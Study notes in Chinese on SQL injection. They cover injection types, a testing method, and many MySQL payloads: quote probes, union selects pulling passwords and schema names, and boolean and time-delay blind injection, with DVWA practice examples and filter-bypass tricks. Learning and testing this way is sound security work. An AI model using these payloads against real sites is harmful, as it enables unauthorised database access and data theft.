sources
https://www.jianshu.com/p/078df7a35671
https://www.kanxue.com/book-6-110.htm - web 漏洞
OWASP how to test sql injecting:
https://owasp.org/www-project-web-security-testing-guide/
定位注入的网站:
ASCII:
Mysql 函数:
https://www.runoob.com/mysql/mysql-functions.html
DVWA 新手教程
https://www.freebuf.com/author/lonehand
tools
Sqlmap
w3af
burp suite---可用来抓包,发请求,安全测试协助工具
测试流程:
https://y-hkl.github.io/2018/01/15/%E6%B5%8B%E8%AF%95%E6%B5%81%E7%A8%8B
信息收集:
nmap(download: https://nmap.org/download.html; doc:https://nmap.org/book/toc.html),站长之家(dns,),whatweb (ruby环境)
概述
SQL注入就是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术
A successful SQL injection exploit can read sensitive data from the database,
modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system
分类
按照参数类型分类:
1. 数字型
2. 字符型
按照数据库返回结果分类
1. 回显注入
2. 报错注入
3. 盲注(分为boolean 型 和 时间延迟)
按照注入位置及方式:
1. post 注入
2. get 注入
3. cookie 注入
4. 盲注
5. 延时注入
6.搜索注入
7.base64注入
思路
- 网页有输入框并且没有限制输入 - 可以通过输入框注入
- 网页没有输入框 or 输入有限制- 可通过接口注入
注入思路
- 验证是否可注入
- 验证是否数字型
- 验证是否字符型
- 验证是否可用union搜索
- 验证是否可用报错型注入,即网页有明显报错信息; 可用错误的sql语句验证;
- 非报错型注入,验证延时注入是否成功;
- 字符被转义,可用16进制编码
通过猜测获取信息
1.通过修改order by [number] 的 number 可以知道搜索结果有几列
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1
查询users表中user_id为1并按第一字段排行
2.联合查询 union select
将两个或以上的select语句的查询结果集合合并成一个结果集合显示;在使用union查询的时候需要和主查询的列数相同;
3.URL可能存在sql注入形式:http://xxx.com/xss.php?id=xx
3.1 判断是否存在sql注入漏洞,单引号判断法:http://xxx.com/xss.php?id=xx'
如果返回错误,可能存在(很大可能存在);
如果未报错,也可能存在(概率较小);
3.2 判断类型: 数字型 or 字符型 or 搜索型?
and 1=1 ,继续进行
and 1=2 ,报错,则说明是数字型;
and '1'='1' ,继续进行
and '1'='2' ,报错,则说明是字符型;
and 1=1 and '%'='', 继续进行
and 1=2 and '%'=',报错,则说明是搜索型
4.确认表名是否存在
admin') union all select password from admin #
5.确认列名是否存在
admin') union all select password from users #
6.猜测数据库名称长度select length((select database()))>x
1' union select length((select database()))>7; # -------如果大于7,则输出1,否则输出0
1' and length((select database()))>7; # -------------如果大于7,输入正确的搜索结果,否则输出空
6.1 猜测数据库第一个字符
1' and ascii(substr(database(),1,1))>97#
1' and ascii(substr(database(),1,1))=100#
7.猜测是否存在盲注
7.1 延时注入没有办法看到查询结果, 可以通过响应时间确定
1' and sleep(5)#
1
7.2 通过if 语句(if(条件,true返回,false返回))判断
1 and if ((substr((select database()),1,1))='d',sleep(5),null)# ------------如果数据库第一个字符为d,则延时响应,但是无论失败还是成功返回查询结果
7.3 判断字符显示顺序
1' union select 1,2;#
获取信息
1.select database(),user(),@@version_compile_os ,version()
database() 返回数据库名字
user() 返回执行当前查询的用户名
@@version_compile_os 返回当前操作系统
version() 返回当前数据库版本
group_concat(table_name) from information_schema.tables where table_schema=database(); 获取数据库所有表名;
group_concat(column_name) from information_schema.columns where table_name='users';#获取数据库中users表的所有列名;
2.information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
SQL 学习
1.注释
1.1 # 井号后为注释
1.2 '-- '(--后面有一个空格)
2.if语句
if(条件,true返回,false返回)
3.逗号被过滤
Source:https://xz.aliyun.com/t/7767
3.1 case when 可以代替if
3.2 union select 1,2,3 <=> union select * from (select 1)a join (select 2)b join (select 3)c
3.3 limit 2,1 <=>limit 1 offset 2
4.SQL绕过技巧
https://www.cnblogs.com/Vinson404/p/7253255.html
实践
尝试判断数据库名称 第一个字符为i
原来的sql语句: select * from user where name='%test%'
尝试注入: test2%' AND '1'='1' and ascii(substr(database(),1,1))=105 #
真实sql: select * from user where name='%test2%' AND '1'='1' and ascii(substr(database(),1,1))=105 #%'
- 关闭了原来的搜索
%'
- 注释原来的
%'
以便于可以加入其他查询(AND '1'='1'
,and ascii(substr(database(),1,1))=105
)
如何判断?
系统返回值和 select * from user where name='%test2%' AND '1'='1' #%
结果一致则表示数据库名称 第一个字符为i,否则则可能报错或不返回。
尝试判断数据库表明 为user
原来的sql语句: select * from user where name='%test%'
尝试注入:stu%' AND '1'='1' union all select password from user #
真实sql: select * from user where name='%stu%' AND '1'='1' union all select password from user #%'
如何判断?
系统返回值和 select * from user where name='%test2%' AND '1'='1' #%
结果一致则表示存在表 user,否则则可能报错或不返回。